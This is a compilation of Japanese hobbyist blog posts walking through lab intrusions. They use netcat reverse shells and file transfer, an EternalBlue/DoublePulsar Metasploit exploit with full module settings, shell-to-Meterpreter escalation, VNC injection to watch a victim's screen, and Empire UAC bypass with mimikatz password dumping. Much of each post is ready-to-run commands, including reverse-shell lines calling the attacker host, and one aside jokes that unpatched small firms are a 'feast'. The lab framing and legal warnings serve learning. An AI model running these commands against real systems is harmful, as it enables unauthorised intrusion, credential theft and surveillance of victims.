とある親父の侵入実験【Netcatの使い方】
今更感が半端ないんだけど、便利なネットワークツール「Netcat」の基本的な使い方を勉強してみたのでまとめておく。
今回は以下のサイトを参考にして勉強しました。
Port Knocking
nc IPアドレス ポート番号
ncコマンドを使用してポート番号にアクセスすると、そのポート番号を使用しているサービスを調べられる。
Reverse Shell
netcatって言ったらこれかな?てか、ちゃんと調べるまで使用用途はこれしか知らなかったw
Reverse Shellなんで標的となるVictim側から接続先のAttackerへConnectする。
待受側(Attacker)
nc -lvp ポート番号
指定したポートで、標的からのReverse接続を待ち受ける。
接続側(Victim)
nc IPアドレス ポート番号
これで接続できる。でも、
の方が、接続した時のshellを指定できるしなんとなく便利だから使うようにしている。
接続すると
待受側で接続が開始されたメッセージが表示される。
一応、確認するw
Victim端末はmetasploitableなので間違いなくReverse接続されている。
ファイル転送
Reverse接続の応用で、入出力先をファイルにすることでファイルの転送もできる。
先ほどと同じ要領で待ち受けて、出力をファイルにリダイレクトする。
※passというファイルに保存されるようにした
同じく接続も先ほどと同じ要領にしつつ入力をファイルに
※passwordというファイルを作成し入力ファイルにした
接続が行われるとファイルが作成される。
他にもポートスキャンが出来たり、HTTPリクエストが出来たりするようだけど、Reverse接続とファイル転送が出来ればそれで十分かなと思うので他は割愛。
地雷探しに脆弱性を使うのは間違っているだろうか 〜Hack a Minesweeper〜
※これは、2017/06/03に「Akibasec #1」で喋ったLTを再編集したものです。
マインスイーパーってゲームを覚えていますか?若い人はもしかすると聞いたことないかもしれないんですが・・・。昔のWindowsには標準でインストールされているゲームで、いい感じ時間泥棒してくれますw
マインスイーパ(Minesweeper)は1980年代に発明された、一人用のコンピュータゲームである。ゲームの目的は地雷原から地雷を取り除くことである。
このゲームは多数のコンピュータプラットフォーム向けに書き直されており、Microsoft Windowsをはじめ、LinuxのGNOMEやKDEなどのシステムに同梱されているものもある。
ウィキペディアより
ちょっと前回のMS17-010の検証でXPを引っ張り出して使っていたら、このゲームを見つけて見事に半日奪われましたw
そこで、思ったのです・・・
上級をクリアしたい!!
(ちなみに上級の世界記録は33秒らしいですw)
要するにやりたいことは・・・
マインスイーパーの上級をすごい記録でクリアしてみたい!
そのためにマインスイーパーが動いているWindowsをハックして、マインスイーパーの裏技を見つけたい!
というもの。
準備したもの
環境(仮想環境)
- Windows XP(192.168.1.1)
- Kali Linux(192.168.1.100)
1 調査
まずは、おきまりのポートスキャンをしてみた。すると・・・
445番ポートが開いているのが確認できた。と、いうことは前回やったあれが使えますw
Eternal Blue(MS17-010)が使えるか確認する。
脆弱性が残っているのが確認できる。
2 Exploit
脆弱性の存在が、確認できたので前回の要領でWindowsのハックまでやっちゃいます。
なんだかんだで侵入完了。
3 MeterpreterからのまさかのMimikatz
次に、meterpreterからMimikatzを読み込む。
これでmimikatz_commandという、要するにmeterpreter上でmimikatzを利用する準備が整う。パスワードクラックツールのmimikatzがマインスイーパーと何の関係があるのかわからないが、何故かマインスイーパーをクラックする機能がついているのであるw
このmimikatz_commandにあるwinmine::infosってのを使うと・・・
ちょっと画像からだと判別しづらいかもだけど、答えが丸見え状態になってます(^o^)
これで、答えを見ながらクリアすれば良いのか?
実は、もっと便利なコマンドがあります。
それはwinmine::cheatと入力すると・・・(もうcheatって響きがとても良い!)
上図は、見やすいように先にinfosで地雷の位置を表示させてからcheatを使用。
見事に地雷の位置に旗が立っている!この状態で旗の立っていない空白をクリックすると・・・
クリア!!(所要時間1秒)
と、いう感じにチートができました(^-^)v
4 まとめ
ハッキングってどんなのー?って話を全くセキュリティのわからない人にする時って本当に困ります。目の前のパソコンに侵入して壁紙変えたりするのも良いかもしれないが、こんなやり方も若い子や、初めてセキュリティに触れる人には喜ばれるのでは?
とある親父の侵入実験【MS17-010の活用】
今更なんだけど最近話題のWannaCryptが利用していることでお馴染みの脆弱性「MS17-010」を利用した攻撃というものを検証してみたいと思う。
本脆弱性に関する細かいことは以下のリンクを参照してください。
マイクロソフト セキュリティ情報 MS17-010 - 緊急
今回は、この動画を参考にしています。
準備したもの
環境(仮想環境)
1 環境構築
この動画によると、まず、wineをインストールする。
root@kl-01rbt:~# apt-get update
root@kl-01rbt:~# apt-get install wine32
我が家の環境では、既にインストールされていた様子
次に脆弱性を利用する攻撃モジュールをゲットしてくる。
root@kl-01rbt:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
落としてきたやつの「deps」と「eternalblue_doublepulsar.rb」を/usr/share/metasploit-framework/modules/exploits/windows/smbにコピーする。この作業は動画のようにGUIでやったほうが簡単かも
2 調査
次に対象となるWindows 7がSMBv1を使っているのかを調査する。
調査用のモジュールは最近のアップデートで組み込まれている様子。
msf > search ms17-010
これでDBを探すと「auxiliary/scanner/smb/smb_ms17_010」という名前の「MS17-010 SMB RCE Detection」をしてくれるモジュールが見つかるので実行
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf auxiliary(smb_ms17_010) > run
調査の結果としては、MS17-010の脆弱性があって何か出来そうな雰囲気を醸し出してくれるw
3 攻撃準備
モジュールを配置したらmetasploitの起動
root@kl-01rbt:~# msfconsole
起動したら
msf > search eternalblue
さっき入れたモジュールが見つかったらいつものように設定していく。今回はやたら設定項目長い・・・。
msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
DOUBLEPULSARPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
ETERNALBLUEPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
msf exploit(eternalblue_doublepulsar) > set target 9
target => 9
msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/
WINEPATH => WINEPATH /root/
msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
TARGETARCHITECTURE => x86
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
PROCESSINJECT => explorer.exe
msf exploit(eternalblue_doublepulsar) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
4 攻撃
これを実行してやると・・・
見事に侵入成功w
5 結論
この脆弱性自体、3月のアップデートで修正されているんだけど、今回のランサムウェア騒ぎでは適応していなかった(若しくは何かしらの理由で適応できない)環境の端末が感染して大変なことになった。やはり、パッチは公開されたら適用するべきだと思うし、もし何かしらの理由で適用ができないならばしっかりと代替手段を講じるべきだと思う。
ま、ペネトレ仕掛ける側とすると、こんなメジャー級の脆弱性が残ってる中小企業さんとか見つけちゃうと可哀想(ご馳走)に思えちゃうんだけどねw
とある親父の侵入実験【NetcatからMeterpreterへ】
今日のお題は「Netcat」
Netcatは、Unix系OSコマンドラインアプリケーションの一つ。TCPやUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワークを扱う万能ツールとして知られる。後にWindows版なども登場している。
と、ウィキペディアでは紹介されているペネトレーションテストでは、何かとお世話になっている通信用のアプリケーション
これまでも、イベント等で脆弱性を見つけて、exploitしてみたらncで接続されたなんてことがありました。でも、やっぱりmeterpreterで操作できると便利なんだよね
(俺自身のレベルがまだまだ低いからw)
てか、そんなわけでnetcatで接続したセッションをmeterpreterへエスカレーションする手段についてまとめてみたいと思う
準備したもの
環境(仮想環境)
- Kali Linux(192.168.1.100)
- Metasploitable2 (192.168.1.200)
1 接続
まず、Kali側でポートを指定して待ち受けしてやります。
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run
これで実行すると待ち受け状態になる
そうしたら次はMetasploit側へ
metasploitable側からncコマンドを使ってKaliへ接続をします
nc 攻撃側IPアドレス 待受ポート番号 -e /bin/sh
nc 192.168.1.200 4444 -e /bin/sh
そうするとKali側では
metasploitable側からの接続を受けてCommand Shellでのセッションが開く
ここで「control + z」を押してセッションをバックグラウンドへ移行する
Background session 1? [y/N] y
もとのコンソールに戻ってきたら一度「session」コマンドで確認
2 昇格
次にmeterpreterへエスカレーションするモジュールをポストしてやる
msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > set session 1
session => 1
msf post(shell_to_meterpreter) > run
payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できる
「session」コマンドで確認
「session -i 2」で、meterpreterセッションに接続
見事にmeterpreterでmetasploitableに接続できている!
3 結論
なんでこんなことをやったかというと、ここ最近のインシデントレスポンス系のイベントに参加した際に、ncで接続まではこじつけたのにそのあとファイルを奪取できなかったとか、対象端末の情報を搾取できなかったことが何度かありました。そんな時、レベルの低い自分としては「あー、meterpreterで接続とかできたらよかったのに(T . T)」
まぁレベル高い人からすると「ncコマンドが使える時点でなんでもできるよw」って笑われるんですけどね・・・。
とりあえず、俺の中でのnetcatへのリベンジ完了!!
とある親父の侵入実験【Empire:帝国の目?鷹の目?】
今回は、とあるシナリオに基づいて実施します。
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
「レッドチームとしては、なんとしてもブルーチームの操作画面を覗き見たい!これまで利用した標的型攻撃で得たブルーチームとのバックドアを利用して画面を盗み出せ!」
という命令が出たのでやってみます。
途中までの手順に関しては前々回の「皇帝との共闘」と一緒なんで、その後から書きます。
監視モジュール準備
現在接続されているセッションにVNCモジュールを送り込んでやる。
msf exploit(handler) > use post/windows/manage/payload_inject
msf post(payload_inject) > set payload windows/vncinject/reverse_tcp
payload => windows/vncinject/reverse_tcp
msf post(payload_inject) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf post(payload_inject) > set session 1
session => 1
msf post(payload_inject) > set handler true
handler => true
準備ができたら実行
msf post(payload_inject) > exploit
色々と流れると・・・
こんな感じに標的PCとの間にVNCで接続することができる。
相手との間の回線速度にもよるけど、案外快適に盗み見することが可能になりますw
「これで、ブルーチームの動向を確認することができる!」
とある親父の侵入実験【Empire:帝国と共闘】
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
前回までEmpireを利用した簡単な紹介を書きました。今回は、これまでお世話になったMetasploitととのコラボを描いてみたいと思います。
準備したもの
環境(仮想環境)
1 接続
Windowsとの接続のウンヌンカンヌンは端折ります。
現在、標的となるWindows端末と接続ができている状態(前回と同じ感じ)になっている。
次にmeterpreterとの接続に使用するリスナーを用意してやります。
(Empire: listeners) > set Name meterpreter
(Empire: listeners) > set Port 8888
(Empire: listeners) > set Type meter
(Empire: listeners) > execute
ここまでで下ごしらえ完了
2 譲渡
まずはEmpire側で現在接続している端末に接続しmeterpreterをinjectionする準備を施す。エージェントモードに移行して接続している端末にインタラクトする。
(Empire: agents) > interact FZWBYTCSG1NH3P42
そして、shellcodeをinjectしてmeterpreterへリバース接続するように指定する。
(Empire: FZWBYTCSG1NH3P42) > injectshellcode meterpreter
設定情報を確認するとリバース接続用のIPアドレスとポート番号を欲しがっているので与えてやります。また合わせてPayloadも少し変更を加えます。
(Empire: code_execution/invoke_shellcode) > set Lhost 192.168.1.100
(Empire: code_execution/invoke_shellcode) > set Lport 8888
(Empire: code_execution/invoke_shellcode) > set Payload reverse_http
これでEmpire側は準備完了。今の接続に対してペイロードを走らせたらmetasploit側へペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている
3 共闘
次にMetasploit側の設定を行う。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > set exitonsession false
とりあえずMeterpreter側で待ち受けてリバース接続するように指定する。接続先は当然Empireで用意した「meterpreterリスナー」
で、ここまで設定したらmetasploitは走らせて待機。
msf exploit(handler) > exploit -j
さぁ、共闘の準備は整った!
Empireへ戻り実行してみよう!!
(Empire: code_execution/invoke_shellcode) > execute
Empire側でJobが走ると・・・
見事にmeterpreter側でsessionが、確立する。
ここからは慣れ親しんだMeterpreterが相手をしてくれるということになるのである。
Metasploitにしか出回っていないようなコードをどうしても試したいときは、こういった手段を使うことでEmpireのSessionをMeterpreterへ渡すことができるということを覚えていてほしい。
とある親父の侵入実験【Empire:帝国の力 後編】
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
とりあえず続きします。
前回までに、Empireで作成したbatファイルをWindowsに渡して起動。見事にリバース接続が成功した状態で終わりました。
こんな感じで、相手の情報がほぼほぼ丸見え。usernameからhostname、OSもわかってたw
次は、この端末のパスワードを奪取しようと思います。Windowsのパスワードを取ると行ったらmimikatz。このツールが有名であって尚且つ、このEmpireとの相性がいい(俺の勝手な想像w)というわけでパスワードの奪取までやってみよう!
5 パスワード奪取
上図の状態でmimikazを実行するモジュールを選択する。
(Empire: TPESSRK3BLUPTA4G) > usemodule credentials/mimikatz/logonpasswords
(Empire: credentials/mimikatz/logonpasswords) > info
mimikazのlogonpasswordを割り出すモジュールを呼び出したところ。今回は、特に設定を変えることなくこのまま実行
見事にエラー!!
このモジュールを動かすには、高い権限がいるっぽい(適当な意訳)
ってことでUACをbypassしてみる。
(Empire: credentials/mimikatz/logonpasswords) > usemodule privesc/bypassuac
ここではリスナーの指定が必須項目なのでリスナーを指定して実行。
(Empire: privesc/bypassuac) > set Listener test
(Empire: privesc/bypassuac) > execute
[>] Module is not opsec safe, run? [y/N] y
実行するとJobが始まって・・・
新エージェントが追加される。
このエージェントを確認すると
2段目に新しく追加されているのが確認できる。そして、Usernameを見てみると新しく追加された方には「*」が付加されているのが確認できる。そこで、今度は新しいエージェントにインタラクトしてみる。
(Empire: agents) > interact EBGZFMZ4EVCTBBSA
同じ端末であることは確認できるのだが一番下の項目「high_integrity」をみると0から1に変更されている。この状態で先ほど失敗したmimikazのモジュールを実行してみる。
(Empire: EBGZFMZ4EVCTBBSA) > usemodule credentials/mimikatz/logonpasswords
(Empire: credentials/mimikatz/logonpasswords) > execute
しばらくするとJobが始まって・・・
見事に取れましたw
Username : Victim
Password : password
6 結論
このEmpireはMetasploitに取って代わるツールではないけど、個人を狙った標的型攻撃では、とても便利なツールが用意されていて「標的型攻撃演習」というシナリオではとても便利そう。でも、使い方を間違えるととても危険なツールであることには間違いないと思った。今後もこのEmpireを使った攻撃シナリオについて検証してみたい。